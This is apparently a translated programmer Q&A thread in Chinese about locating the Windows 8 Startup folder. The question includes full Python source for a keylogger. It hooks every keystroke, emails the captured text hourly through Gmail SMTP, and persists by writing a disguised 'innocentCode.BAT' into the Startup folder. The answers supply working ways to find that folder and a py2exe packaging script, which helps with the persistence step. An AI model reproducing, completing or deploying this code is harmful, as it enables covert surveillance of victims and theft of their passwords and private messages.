我有一个代码,可以将批处理文件添加到启动文件夹中,以便在计算机启动时运行。 我的代码如下:
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Batch.BAT' %win32api.GetUserName()
f = open(path, 'w')
这在Win 7上工作正常,但在Win8中,启动文件夹被移动,我无法找到它的访问权限。 如何找到合适的文件夹? 谢谢 艾萨克
更新:我的代码在.pyw中运行并运行但是一旦我将其转换为.exe它就没有...这个我不明白
完整代码:
import win32api
import sys
import pythoncom, pyHook
import time
import smtplib
import thread
import re
import os
global text
global start
def main():
global text
global start
text = ''
start = time.time()
AddToStartUp(fixpath(findDirectory()))
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def sendemail(from_addr, to_addr_list, cc_addr_list,
subject, message,
login, password,
smtpserver='smtp.gmail.com:587'):
header = 'From: %s\n' % from_addr
header += 'To: %s\n' % ','.join(to_addr_list)
header += 'Cc: %s\n' % ','.join(cc_addr_list)
header += 'Subject: %s\n\n' % subject
message = header + message
server = smtplib.SMTP(smtpserver)
server.starttls()
server.login(login,password)
problems = server.sendmail(from_addr, to_addr_list, message)
server.quit()
return problems
def OnKeyboardEvent(event):
global start
global text
text += chr(event.Ascii)
print text
if time.time()-start > 3600:
thread.start_new_thread(sendemail, ('email','email','','Keylogger',text,'email','password'))
start = time.time()
return True
def fixpath(path):
arr = re.split(r'\\', path)
direct = ''
for i in arr:
direct += i + '\\'
return direct
def AddToStartUp(direct):
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\innocentCode.BAT' %win32api.GetUserName()
f = open(path, 'w')
f.write("""cd %s\nstart keylogger\nexit"""%direct)
def findDirectory():
return os.path.dirname(os.path.realpath(__file__))
if __name__ == "__main__":
main()
答案 0 :(得分:1)
以下代码显示了如何通过win32 api找到它。我曾经发现它在网上搜索 - 没有我的信用。
from win32com.shell import shell, shellcon
def startupdirectory():
return shell.SHGetFolderPath(
0,
shellcon.CSIDL_COMMON_STARTUP,
0,# null access token (no impersonation)
0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work
)
if __name__ == '__main__':
print startupdirectory()
答案 1 :(得分:1)
from win32com.shell import shell, shellcon
def get_startup_directory(common):
"""
Copyright Tim Golden <winshell@timgolden.me.uk> 25th November 2003 - 2012
Licensed under the (GPL-compatible) MIT License:
http://www.opensource.org/licenses/mit-license.php
"""
return shell.SHGetFolderPath(0, (shellcon.CSIDL_STARTUP, shellcon.CSIDL_COMMON_STARTUP)[common], None, 0)
get_startup_directory(0) # 'C:\\Users\\<USERNAME>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'
get_startup_directory(1) # 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'
答案 2 :(得分:0)
我个人喜欢使用PyWin32和Tim Golden的winshell module。这允许你做这样的事情来获取启动文件夹:
import winshell
startup = winshell.startup()
winshell
模块还为许多其他常见位置提供路径,例如桌面,开始菜单,收藏夹等。它还可以创建快捷方式并使用回收站。
答案 3 :(得分:-1)
我阅读this article并获得以下信息。
Windows 8中的“当前用户启动”文件夹位于:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这些程序仅针对当前登录用户启动。要直接访问此文件夹,请打开“运行”,键入shell:startup
并按Enter键。
所有用户Windows 8启动文件夹位于:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
这些程序适用于所有用户。要打开此文件夹,请打开“运行”框,键入shell:common startup
并按Enter键。
代码:此代码只检索用户名,然后将其添加到路径中。稍后它会检查路径是否真的存在,如果它存在,则会打印Path Exists!
。
import getpass
import os.path
userName = getpass.getuser()
file_path= 'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Batch.BAT' %userName
if os.path.exists(file_path):
print 'Path Exists!'
以下代码适用于创建可执行文件。您必须在以下代码中输入您的python文件名而不是filename.py
。如果您要创建GUI应用程序,则只需将此行console=['filename.py'],
替换为windows=['filename.py'],
<强> setup.py 强>
from distutils.core import setup
import py2exe
dll_excludes = ['OLEAUT32.dll','USER32.dll','COMCTL32.dll','SHELL32.dll',
'ole32.dll','MSVCP90.dll','WINMM.dll','WSOCK32.dll',
'COMDLG32.dll','ADVAPI32.dll','NETAPI32.dll','WS2_32.dll',
'WINSPOOL.DRV','GDI32.dll','RPCRT4.dll','VERSION.dll',
'KERNEL32.dll','ntdll.dll']
setup (
name='Test',
description="Script to test py2exe for packaging",
version="0.1",
console=['filename.py'],#Enter the python file name here
platforms=["windows"],
options={ 'py2exe': {
'packages': 'encodings',
"excludes": dll_excludes,
}
},
)
答案 4 :(得分:-1)
此代码适用于所有Windows版本,而不是Python外部库。
import win32api, win32con
objShell = win32com.client.Dispatch("WScript.Shell")
startupFlder = objShell.SpecialFolders("Startup")